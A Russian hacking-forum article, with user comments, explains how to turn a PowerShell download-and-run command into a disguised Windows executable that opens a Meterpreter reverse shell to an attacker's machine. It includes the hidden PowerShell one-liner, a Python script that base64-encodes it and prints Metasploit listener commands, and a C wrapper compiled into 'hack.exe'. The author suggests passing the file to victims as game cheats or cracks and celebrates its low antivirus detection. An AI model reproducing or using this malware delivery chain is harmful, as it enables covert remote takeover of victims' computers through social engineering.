• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Powershell для хакера (часть II )

Часть 2
Предыдущая часть
Следующая часть
Все части

Приветствую вас колеги)

В прошлой статье мы научились использовать скрипты от PowerSploit для получение метерпретер сессии.

Но вынудить жертву открыть командную строку и вставить всю строку для PowerShell как вы поняли не очень легко,правда соц.инженерия делает чудеса,но все же попробуем упростить как можно больше этот процесс,процесс доставление до жертвы полезной нагрузки.

Этим мы сегодня и займемся.

Как по мне самый лучший способ доставлять жертве малварь в виде какого нибудь бинарника под предлогом какой то шары,толи это будет программа для взлома вк,толи читы на танки,толи кряк на антивирус - решать и фантазировать вам.

Давайте вспомним из прошлой статьи: https://codeby.net/threads/powershell-dlja-xakera-chast-i.58495/

нашу команду для PowerShell-а:
Код:
Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.137.137 -Lport 1337 -Force
Посмотрев на нее - мы можем заметить много спецсимволов,таких как кавычки,скобки,точка с запятой и т.д... Имхо такой вид не самый приемлемый как по мне.
По этому я накидал простенький скриптец который генерирует нам такую строку с base64 кодировкой и сразу же на вывод выведет нам команды для создание листенера в метасплоите.

Вот сюда я запостил если что:
https://codeby.net/threads/vashi-programmy-na-python.58124/#post-266525
Или могу прям сюда разшарить свой скриптец:
Python:
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-

import re
import base64
from termcolor import colored

def banner():
    print colored("""
===============================================================================

#####                          #######           #     #                  
#     #  ####  #####  #####     #     # ######    #     #   ##    ####  #    #
#       #    # #    # #    #    #     # #         #     #  #  #  #    # #   #
#       #    # #    # #    #    #     # #####     ####### #    # #      ####
#       #    # #####  #####     #     # #         #     # ###### #      #  #
#     # #    # #   #  #         #     # #         #     # #    # #    # #   #
#####   ####  #    # #         ####### #         #     # #    #  ####  #    #
                                                                           
           ____                             __  __      _        
          |  _ \ _____      _____ _ __     |  \/  | ___| |_ ___ _ __
          | |_) / _ \ \ /\ / / _ \ '__|____| |\/| |/ _ \ __/ _ \ '__|
          |  __/ (_) \ V  V /  __/ | |_____| |  | |  __/ ||  __/ |
          |_|   \___/ \_/\_/ \___|_|       |_|  |_|\___|\__\___|_|
                                                                 

Powershell_Meter script  is a PowerShell Command Generator.
Written by [Mister Bert0ni|DarkNode] <Corp Of Hack Team><Grey Team> <CodeBy Team>
[[Contacts]] ::: <https://new.vk.com/byhackers>
[[My Docs]] ::: <https://codeby.net/tags/darknode-tutorial/>
[[YouTube]]  ::: <https://www.youtube.com/c/CorpOfHack>
===============================================================================
""","cyan")
 
def powershell_encode(data):
    # blank command will store our fixed unicode variable
    blank_command = ""
    powershell_command = ""
    # Remove weird chars that could have been added by ISE
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # loop through each character and insert null byte
    for char in (n.sub("", data)):
        # insert the nullbyte
        blank_command += char + "\x00"
    # assign powershell command as the new one
    powershell_command = blank_command
    # base64 encode the powershell command
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command

def metasploit():
    print colored("[*]PowerShell генератор для Metasploit-Framework с ипользованиевм PowerSploit.","yellow")
    print colored("Оригинал можно взять здесь:","green")+ colored("https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1\n\n","cyan")
    ans_lhost = raw_input("Введите IP адрес атакующей машины(LHOST): ")
    ans_lport = raw_input("Введите Порт листенера атакуещей машины(LPORT): ")
 
    print colored("\n[*]Наша команда для PowerShell:","yellow")
    x = powershell_encode("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force")
    print colored("powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc " + x,"red")
    print colored("\n[*]Команды для metasploit-framework(Вы можете сохранить эту последовательность команд в файл listener.rc и запустить msfconsole -r listener.rc или же прямо из запущеной консоли метаслоита: resourse listener.rc","yellow")
    print colored("use multi/handler \nset payload windows/meterpreter/reverse_https \nset LHOST " + ans_lhost + "\nset LPORT " + ans_lport + "\nset ExitOnSession false \nexploit -j","green")

banner()
metasploit()


Этот скрипт нас сгенерирует нужную строку.

1.PNG


2.PNG


3.PNG


4.PNG


Затем нам нужно впихнуть ее в бинарних. И хотелось бы конечно что бы он не детектился антивирусами) По дефолту он у меня показал .

Весьма не плохо как по мне) Ну а у кого параноя насчет фулл андетекта,то скажу что вероятность использования двух малоизвестных антивирусов, которые обнаружили малварь, не очень велика

Давайте соберем бинарник. Делается это очень просто:
Просто создадим соурс код на СИ (с) со следующим содержимым:
C:
#include <stdlib.h>

int main() {
    system("Наша_Команда_PowerShell_Тута...");
        return 0;
}
5.PNG

Соответственно где "Наша_Команда_PowerShell_Тута..." - копипастим нашу строку которую вернул нам наш скрипт.

7.PNG


Компилируем в exe файл командой:
Код:
i686-w64-mingw32-gcc -o hack.exe ~/test.c
8.PNG


Тестируем:

9.PNG
10.PNG


WindowsDefender не ругается, сессия прилетает. Давайте прогоним на детект антивирусами:

6.PNG


Вроде неплохо)

Всем спасибо) Продолжения следует)

Вот демо-видео :
Предыдущая часть
Следующая часть
Все части
 

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
кстати , скрипт сейчас выбивает с ошибками...его нужно адаптировать под питон3.
 

jonni_vu

Green Team
24.06.2017
43
8
BIT
0
как адаптировать под питон3?

➜ ps ./power_meter.py

./power_meter.py: 2: ./power_meter.py: Python:: not found
from: can't read /var/mail/termcolor
./power_meter.py: 13: ./power_meter.py: Syntax error: "(" unexpected

---- Добавлено позже ----

как переделать то в python 3 ? cскрипт переписывать надо? подмогите , а то практика встала
 
Последнее редактирование:
  • Нравится
Реакции: DarkDepth и recrut

DarkDepth

Green Team
17.02.2019
79
20
BIT
0
Помогите.... Как запустить скриптик?
Ну сохранил test.py
chmod +x test.py
./test.py

И всё... не реагирует не как, лишь если нажму 2 раза левой кнопкой мыши, делает сриншоты, и паапку с файло кидает.
И выдаёт

./test.py: строка 9: синтаксическая ошибка рядом с неожиданным маркером «(»
./test.py: строка 9: `def powershell_encode(data):'
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!